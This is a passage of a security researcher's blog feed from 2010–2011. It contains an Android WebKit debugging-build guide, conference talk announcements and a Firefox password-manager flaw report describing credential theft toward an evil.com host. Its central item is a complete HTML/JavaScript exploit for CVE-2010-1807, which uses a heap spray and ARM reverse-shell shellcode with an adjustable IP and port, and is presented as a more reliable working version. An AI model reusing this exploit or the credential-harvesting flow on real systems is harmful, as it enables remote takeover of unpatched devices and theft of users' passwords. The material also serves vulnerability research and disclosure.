style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;&lt;code&gt;&lt;b&gt;repo init -u git://android.git.kernel.org/platform/manifest.git -b &amp;lt;version&amp;gt;&lt;/b&gt;&lt;br /&gt;e.g : &lt;br /&gt;repo init -u git://android.git.kernel.org/platform/manifest.git -b eclair&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;This should take a few hours... ;)&lt;br /&gt;&lt;br /&gt;Compile Webkit with debugging flags, I'm quite sure&lt;a href="http://osdir.com/ml/android-platform/2009-08/msg00212.html"&gt; this link was helpful&lt;/a&gt;, but I also quite sure there were few mistakes which I don't remember, I do remember it wasn't perfect buildspec.mk so just change it to fit your debugging needs.&lt;br /&gt;The link had the following instructions: &lt;br /&gt;&lt;b&gt;Debug Native C++ Code:&lt;/b&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;&lt;code&gt;To get meaningful debug info, you do need to build WebCore with -&lt;br /&gt;O0. It is simple. Add the following to your buildspec.mk and rebuild webcore and xml2.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;Use "rm out/target/product/dream/system/build.prop" (zuk's comment: I'm also sure they had path mistakes ;), take that into considerations) to make sure it takes effect.&lt;br /&gt;To rebuild webcore and xml2:&lt;br /&gt;make clean-libwebcore clean-libxml2 &amp;amp;&amp;amp; make //&lt;b&gt;DO NOT DO THAT YET!!!&lt;/b&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Prepare your environment by downloading all the right packages at once (all in one line! yey!):&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;&lt;code&gt;&lt;b&gt;sudo apt-get install git-core gnupg sun-java5-jdk flex bison gperf libsdl-dev libreadline5-dev libesd0-dev libwxgtk2.6-dev build-essential zip curl libncurses5-dev zlib1g-dev build-essential&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;uninstall java, and install java 1.5:&lt;br /&gt;&lt;b&gt;sudo update-java-alternatives -s java-1.5.0-sun&lt;/b&gt;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;"If you don't have buildspec.mk under the root directory yet, please copy build/buildspec.mk.default to the root (android/)&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;&lt;code&gt;Change to the following lines :&lt;br /&gt;DEBUG_MODULE_libwebcore:=true&lt;br /&gt;DEBUG_MODULE_libxml2:=true&lt;br /&gt;TARGET_CUSTOM_DEBUG_CFLAGS:=-O0 -mlong-calls&lt;br /&gt;Add "ADDITIONAL_BUILD_PROPERTIES += debug.db.uid=100000" so that it&lt;br /&gt;will wait for you to connect gdb when crashed.&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;in Webkit folder (for eclair branch only):&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;&lt;code&gt;git commit / stash&lt;br /&gt;&lt;b&gt;git cherry-pick 18342a41ab72e2c21931afaaab6f1b9bdbedb9fa &lt;/b&gt;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Environment setup (fix paths if needed): &lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;&lt;code&gt;&lt;b&gt;export PATH="/usr/lib/jvm/java-1.5.0-sun-1.5.0.22/:$PATH"&lt;br /&gt;export JAVA_HOME="/usr/lib/jvm/java-1.5.0-sun-1.5.0.22"&lt;br /&gt;export ANDROID_JAVA_HOME=$JAVA_HOME&lt;br /&gt;export PATH=$PATH:$JAVA_HOME/bin&lt;br /&gt;chmod +x ./build/env-setup.sh&lt;br /&gt;source ./build/env-setup.sh #make sure you use the source command and not trying to execute the file itself...&lt;/b&gt;&lt;br /&gt;&lt;b&gt;make clean-libwebcore clean-libxml2; make&lt;/b&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Now debugging will be made possible using gdbserver, adb and gnu-arm-eabi-gdb client (use latest gdb! they had tons of bug fixes - great job!).&lt;br /&gt;You will also be able to compile native code easily by having Android.mk and executing:&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;&lt;code&gt;source /path/to/androidhome/build/env-setup.sh;&lt;br /&gt;mm;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Happy debugging&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4772265063992204456-1889211982045397222?l=imthezuk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://imthezuk.blogspot.com/feeds/1889211982045397222/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://imthezuk.blogspot.com/2011/02/debugging-environment-on-android-webkit.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/1889211982045397222'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/1889211982045397222'/><link rel='alternate' type='text/html' href='http://imthezuk.blogspot.com/2011/02/debugging-environment-on-android-webkit.html' title='Debugging Environment on Android (Webkit + Symbols)'/><author><name>Zuk</name><uri>http://www.blogger.com/profile/05696533480735906317</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Kde3g35OnUQ/TTjEyTlm55I/AAAAAAAAAJk/byPUDZSfMEg/S220/Screen%2Bshot%2B2011-01-19%2Bat%2B10.41.11%2BPM.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-JQ47kA0i6V8/TVwN7NncLSI/AAAAAAAAAKQ/gw14RzBJUqY/s72-c/android+logo.jpg' height='72' width='72'/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4772265063992204456.post-2145557684429715369</id><published>2011-01-24T03:26:00.001+02:00</published><updated>2011-01-24T20:46:29.166+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ARM'/><category scheme='http://www.blogger.com/atom/ns#' term='Ret2ZP'/><category scheme='http://www.blogger.com/atom/ns#' term='Blackhat'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><category scheme='http://www.blogger.com/atom/ns#' term='Exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='shellcode'/><category scheme='http://www.blogger.com/atom/ns#' term='black hat dc'/><category scheme='http://www.blogger.com/atom/ns#' term='black hat'/><category scheme='http://www.blogger.com/atom/ns#' term='android hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Exploitation'/><title type='text'>Black Hat D.C Presentation - Popping Shell on A(ndroid)RM Devices</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_Kde3g35OnUQ/TT3IrAWxDZI/AAAAAAAAAKE/qevopU_5TMM/s1600/Black_Hat_Logo.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="125" src="http://3.bp.blogspot.com/_Kde3g35OnUQ/TT3IrAWxDZI/AAAAAAAAAKE/qevopU_5TMM/s200/Black_Hat_Logo.jpg" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;I had a great time presenting at Black Hat D.C 2011.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://media.blackhat.com/bh-dc-11/Avraham/BlackHat_DC_2011_Avraham-Popping_Android_Devices-Slides.pdf"&gt;&lt;b&gt;Popping Shell on A(ndroid)RM Devices slides&lt;/b&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4772265063992204456-2145557684429715369?l=imthezuk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://imthezuk.blogspot.com/feeds/2145557684429715369/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://imthezuk.blogspot.com/2011/01/black-hat-dc-presentation.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/2145557684429715369'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/2145557684429715369'/><link rel='alternate' type='text/html' href='http://imthezuk.blogspot.com/2011/01/black-hat-dc-presentation.html' title='Black Hat D.C Presentation - Popping Shell on A(ndroid)RM Devices'/><author><name>Zuk</name><uri>http://www.blogger.com/profile/05696533480735906317</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Kde3g35OnUQ/TTjEyTlm55I/AAAAAAAAAJk/byPUDZSfMEg/S220/Screen%2Bshot%2B2011-01-19%2Bat%2B10.41.11%2BPM.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_Kde3g35OnUQ/TT3IrAWxDZI/AAAAAAAAAKE/qevopU_5TMM/s72-c/Black_Hat_Logo.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4772265063992204456.post-2123187845703738832</id><published>2010-12-16T18:51:00.008+02:00</published><updated>2011-01-15T20:57:37.536+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ARM'/><category scheme='http://www.blogger.com/atom/ns#' term='Ret2ZP'/><category scheme='http://www.blogger.com/atom/ns#' term='Blackhat'/><category scheme='http://www.blogger.com/atom/ns#' term='2011'/><category scheme='http://www.blogger.com/atom/ns#' term='reverse engineering'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><category scheme='http://www.blogger.com/atom/ns#' term='Exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='black hat dc'/><category scheme='http://www.blogger.com/atom/ns#' term='shell'/><category scheme='http://www.blogger.com/atom/ns#' term='black hat'/><category scheme='http://www.blogger.com/atom/ns#' term='presentation'/><category scheme='http://www.blogger.com/atom/ns#' term='talk'/><title type='text'>Presenting at Black Hat DC - January 2011</title><content type='html'>&lt;table cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: left; margin-right: 1em; text-align: left;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://www.twitter.com/ihackbanme" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="90" width="120" src="http://2.bp.blogspot.com/_Kde3g35OnUQ/TO2_TmMkMjI/AAAAAAAAAI8/acnxSYeXOdw/s200/twitter_logo_on_black_bg_ap-1.jpg" width="200" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Follow me on twitter!&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;I will be giving a talk on "&lt;b&gt;Popping Shell on A(ndroid)RM Devices&lt;/b&gt;" at &lt;b&gt;Black Hat DC 2011&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;If anyone wants to meet up for beers/coffee ping me on twitter.&lt;br /&gt;&lt;br&gt;&lt;br&gt;&lt;u&gt;Presentation abstract:&lt;/u&gt; &lt;br /&gt;The attendees will gain knowledge on how to exploit ARM buffer overflows, use Ret2ZP attack and will few demos for local and remote attacks using Ret2ZP technique.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4772265063992204456-2123187845703738832?l=imthezuk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://imthezuk.blogspot.com/feeds/2123187845703738832/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://imthezuk.blogspot.com/2010/12/presenting-at-black-hat-dc-january-2011.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/2123187845703738832'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/2123187845703738832'/><link rel='alternate' type='text/html' href='http://imthezuk.blogspot.com/2010/12/presenting-at-black-hat-dc-january-2011.html' title='Presenting at Black Hat DC - January 2011'/><author><name>Zuk</name><uri>http://www.blogger.com/profile/05696533480735906317</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Kde3g35OnUQ/TTjEyTlm55I/AAAAAAAAAJk/byPUDZSfMEg/S220/Screen%2Bshot%2B2011-01-19%2Bat%2B10.41.11%2BPM.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_Kde3g35OnUQ/TO2_TmMkMjI/AAAAAAAAAI8/acnxSYeXOdw/s72-c/twitter_logo_on_black_bg_ap-1.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4772265063992204456.post-7719261384586864976</id><published>2010-11-14T18:20:00.011+02:00</published><updated>2011-09-05T18:29:21.089+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='ARM'/><category scheme='http://www.blogger.com/atom/ns#' term='webkit'/><category scheme='http://www.blogger.com/atom/ns#' term='float parse'/><category scheme='http://www.blogger.com/atom/ns#' term='use after free'/><category scheme='http://www.blogger.com/atom/ns#' term='vulnerability'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><category scheme='http://www.blogger.com/atom/ns#' term='Exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='shellcode'/><category scheme='http://www.blogger.com/atom/ns#' term='CVE-2010-1807'/><title type='text'>Input validation issue exists in WebKit's handling of floating point data types; vulnerability in webkit (work against Android 2.0/2.1 versions)</title><content type='html'>&lt;table cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: left; margin-right: 1em; text-align: left;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://www.twitter.com/ihackbanme" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="90" src="http://2.bp.blogspot.com/_Kde3g35OnUQ/TO2_TmMkMjI/AAAAAAAAAI8/acnxSYeXOdw/s200/twitter_logo_on_black_bg_ap-1.jpg" width="120" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Follow me on twitter!&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&amp;nbsp;I've written a new exploit, based on MJ's, with better success rate from my observation and easier to adjust to your ip/port.This shellcode is using a 1 instruction nopsled, instead of ~1700 instructions+shellcode together, so understanding/adjusting the shellcode itself is easier.&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;br /&gt;&amp;lt;script&amp;gt;&lt;br /&gt;//This code is only for security researches/teaching purposes,use at your own risk!&lt;br /&gt;&lt;br /&gt;// bug   =  webkit remote code execution CVE-2010-1807 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1807&lt;br /&gt;//patched=  android 2.2, some said it works on some devices with 2.2.&lt;br /&gt;//originally noticed/written by mj(good job man!)&lt;br /&gt;//Found by Luke Wagner of Mozilla (Great work :))&lt;br /&gt;//new exploit version by Itzhak Zuk Avraham (itz2000[AT]GMAIL[DOT]COM) - http://imthezuk.blogspot.com&lt;br /&gt;&lt;br /&gt;var ip = unescape("\ua8c0\u0100"); // ip = 192.168.0.1&lt;br /&gt;var port = unescape("\u3930"); //port 12345 (hex(0x3039))&lt;br /&gt;//var ip = e.g: unescape("\u000a\u0202"); //ip = 10.0.2.2&lt;br /&gt;&lt;br /&gt;function trigger()&lt;br /&gt;        {&lt;br /&gt;  var span = document.createElement("div");&lt;br /&gt;  document.getElementById("BodyID").appendChild(span);&lt;br /&gt;  span.innerHTML = -parseFloat("NAN(ffffe00572c60)"); //memory corruption when handling invalid values...&lt;br /&gt;        }&lt;br /&gt;function exploit()&lt;br /&gt;        {    &lt;br /&gt; var nop = unescape("\u33bc\u0057"); //LDREQH R3,[R7],-0x3C for nopping&lt;br /&gt; do&lt;br /&gt; {&lt;br /&gt;  nop+=nop;&lt;br /&gt; } while (nop.length&amp;lt;=0x1000);&lt;br /&gt; var scode = nop+unescape("\u1001\ue1a0\u0002\ue3a0\u1001\ue3a0\u2005\ue281\u708c\ue3a0\u708d\ue287\u0080\uef00\u6000\ue1a0\u1084\ue28f\u2010\ue3a0\u708d\ue3a0\u708e\ue287\u0080\uef00\u0006\ue1a0\u1000\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1001\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1002\ue3a0\u703f\ue3a0\u0080\uef00\u2001\ue28f\uff12\ue12f\u4040\u2717\udf80\ua005\ua508\u4076\u602e\u1b6d\ub420\ub401\u4669\u4052\u270b\udf80\u2f2f\u732f\u7379\u6574\u2f6d\u6962\u2f6e\u6873\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u0002");&lt;br /&gt; scode += port;&lt;br /&gt; scode += ip;&lt;br /&gt; scode += unescape("\u2000\u2000");&lt;br /&gt; target = new Array();&lt;br /&gt; for(i = 0; i &amp;lt; 0x1000; i++)&lt;br /&gt;     target[i] = scode;&lt;br /&gt; for (i = 0; i &amp;lt;= 0x1000; i++)&lt;br /&gt; {&lt;br /&gt;  document.write(target[i]+"&amp;lt;i&amp;gt;");&lt;br /&gt;  if (i&amp;gt;0x999)&lt;br /&gt;  {&lt;br /&gt;   trigger();&lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body id="BodyID"&amp;gt;&lt;br /&gt;Enjoy!&lt;br /&gt;&amp;lt;script&amp;gt;&lt;br /&gt; exploit();&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;/pre&gt;The reason I've spent some time in writing this version is because now it's more flexible to changes, a bit more understandable of each goal/part of the exploit and the success rates are 20%-30% higher from what I've observed, also, shellcode is shorter and easier to analyze to see that there's no harm, etc. Feel free to play with the amount of memory to allocate.Only for research/study purposes and not for using it on others.Enjoy&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4772265063992204456-7719261384586864976?l=imthezuk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://imthezuk.blogspot.com/feeds/7719261384586864976/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://imthezuk.blogspot.com/2010/11/float-parsing-use-after-free.html#comment-form' title='15 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/7719261384586864976'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/7719261384586864976'/><link rel='alternate' type='text/html' href='http://imthezuk.blogspot.com/2010/11/float-parsing-use-after-free.html' title='Input validation issue exists in WebKit&apos;s handling of floating point data types; vulnerability in webkit (work against Android 2.0/2.1 versions)'/><author><name>Zuk</name><uri>http://www.blogger.com/profile/05696533480735906317</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Kde3g35OnUQ/TTjEyTlm55I/AAAAAAAAAJk/byPUDZSfMEg/S220/Screen%2Bshot%2B2011-01-19%2Bat%2B10.41.11%2BPM.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_Kde3g35OnUQ/TO2_TmMkMjI/AAAAAAAAAI8/acnxSYeXOdw/s72-c/twitter_logo_on_black_bg_ap-1.jpg' height='72' width='72'/><thr:total>15</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4772265063992204456.post-3433478044278822495</id><published>2010-08-20T00:52:00.003+03:00</published><updated>2010-11-25T03:48:32.112+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='firefox'/><category scheme='http://www.blogger.com/atom/ns#' term='MiTM'/><category scheme='http://www.blogger.com/atom/ns#' term='Password Stealing'/><category scheme='http://www.blogger.com/atom/ns#' term='active mitm'/><category scheme='http://www.blogger.com/atom/ns#' term='mozilla'/><title type='text'>Stealing client passwords from Firefox Password Manager</title><content type='html'>&lt;table cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: left; margin-right: 1em; text-align: left;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://www.twitter.com/ihackbanme" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="90" width="120" src="http://2.bp.blogspot.com/_Kde3g35OnUQ/TO2_TmMkMjI/AAAAAAAAAI8/acnxSYeXOdw/s200/twitter_logo_on_black_bg_ap-1.jpg" width="200" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Follow me on twitter!&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&amp;nbsp;After I've attended the Jeremiah Grossman's talk at blackhat and saw the bug I've reported last year, I was thrilled to see the bug being exploited in a nice way!&lt;br /&gt;I got to admit, that when I spoke to a friend and told him about this bug, he told me that he did a research on the exact same subject [not on a browser specific though]. He deserves credit of-course, His name is Adi Sharabani and the paper is called "&lt;a href="http://blog.watchfire.com/AMitM.pdf"&gt;Active MiTM attacks&lt;/a&gt;".&lt;br /&gt;Originally posted the following at Mozilla Firefox's Bugzilla in 2009: &lt;br /&gt;"I've found a bug in the design of the password manager of Firefox.&lt;br /&gt;This affects *any* Firefox version so far that has password keeper. &lt;br /&gt;&lt;br /&gt;Entering to a website allows the password manager to fill in the&lt;br /&gt;credentials of username/password and other privacy related details.&lt;br /&gt;Typical example : &lt;br /&gt;&lt;span id="goog_1292461583"&gt;&lt;/span&gt;&lt;span id="goog_1292461584"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Kde3g35OnUQ/TG2m4QZLz9I/AAAAAAAAAH8/c7UX_t-unPs/s1600/ff1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_Kde3g35OnUQ/TG2m4QZLz9I/AAAAAAAAAH8/c7UX_t-unPs/s320/ff1.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;If a malicious user creates a copy of that url and spoof it with DNS&lt;br /&gt;poisoning or MiTM, the login credentials fill in immediately but the&lt;br /&gt;page doesn't submit.&lt;br /&gt;&amp;nbsp; &lt;br /&gt;However, as a malicious user creates this page, he also controls the content!&lt;br /&gt;So let's add to the crafted page the following lines :&lt;br /&gt;[This is a page I've created using copying twitter.com/login source&lt;br /&gt;(without even trying to fix the design) :]&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_Kde3g35OnUQ/TG2m6cnKJkI/AAAAAAAAAIE/TPrCMr7CXBA/s1600/ff2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_Kde3g35OnUQ/TG2m6cnKJkI/AAAAAAAAAIE/TPrCMr7CXBA/s320/ff2.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;But wait, it fills the same credentials for the faked page as-well! Let's add&lt;br /&gt;the 4 lines to the bottom of the fake page and walla :&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_Kde3g35OnUQ/TG2nQhwPVvI/AAAAAAAAAIU/aWCEnd28OJY/s1600/Screen+shot+2010-08-18+at+9.22.40+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_Kde3g35OnUQ/TG2nQhwPVvI/AAAAAAAAAIU/aWCEnd28OJY/s320/Screen+shot+2010-08-18+at+9.22.40+PM.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_Kde3g35OnUQ/TG2m8BlzWPI/AAAAAAAAAIM/-ZjefTV9BYI/s1600/ff3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_Kde3g35OnUQ/TG2m8BlzWPI/AAAAAAAAAIM/-ZjefTV9BYI/s320/ff3.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;That itself, is not the threat. Because in MiTM if the password wouldn't have sent to encrypted server,&lt;br /&gt;you would have gotten it anyway, the threat is of-course, that we can force Firefox to send out&lt;br /&gt;credentials to pages you haven't even tried to log on to on a hostile wifi :) &lt;br /&gt;If we do a simple script in evil.com that identifies the referrer of the&lt;br /&gt;request using the referrer field in HTTP POST Request we can do&lt;br /&gt;iteration over every website that can store credentials on non-encrypted pages that contain the forms :&lt;br /&gt;&lt;br /&gt;In log_creds.py : &lt;br /&gt;document.location=nextsite;&lt;br /&gt;if list is over, and&lt;b&gt; all the username/passwords&lt;/b&gt; for linkedin,twitter,facebook,...,&amp;nbsp; &lt;b&gt;are stolen&lt;/b&gt; you can leave the user alone and let him actually surf the net.&lt;br /&gt;Like I wrote, &lt;span style="font-size: large;"&gt;&lt;b&gt;stealing those credentials can be made even on websites the user didn't even intend of going into&lt;/b&gt;&lt;/span&gt; on a hostile wifi (using 0sized iframe)."&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4772265063992204456-3433478044278822495?l=imthezuk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://imthezuk.blogspot.com/feeds/3433478044278822495/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://imthezuk.blogspot.com/2010/08/stealing-client-passwords-from-firefox.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/3433478044278822495'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/3433478044278822495'/><link rel='alternate' type='text/html' href='http://imthezuk.blogspot.com/2010/08/stealing-client-passwords-from-firefox.html' title='Stealing client passwords from Firefox Password Manager'/><author><name>Zuk</name><uri>http://www.blogger.com/profile/05696533480735906317</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Kde3g35OnUQ/TTjEyTlm55I/AAAAAAAAAJk/byPUDZSfMEg/S220/Screen%2Bshot%2B2011-01-19%2Bat%2B10.41.11%2BPM.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_Kde3g35OnUQ/TO2_TmMkMjI/AAAAAAAAAI8/acnxSYeXOdw/s72-c/twitter_logo_on_black_bg_ap-1.jpg' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4772265063992204456.post-8562356027800956115</id><published>2010-08-03T18:37:00.004+03:00</published><updated>2010-11-25T03:48:53.314+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ARM'/><category scheme='http://www.blogger.com/atom/ns#' term='DEFCON'/><category scheme='http://www.blogger.com/atom/ns#' term='XN'/><category scheme='http://www.blogger.com/atom/ns#' term='DEFCON18'/><category scheme='http://www.blogger.com/atom/ns#' term='Blackhat'/><category scheme='http://www.blogger.com/atom/ns#' term='Stack Overflow'/><category scheme='http://www.blogger.com/atom/ns#' term='Exploitation'/><title type='text'>Defcon Presentation</title><content type='html'>&lt;table cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: left; margin-right: 1em; text-align: 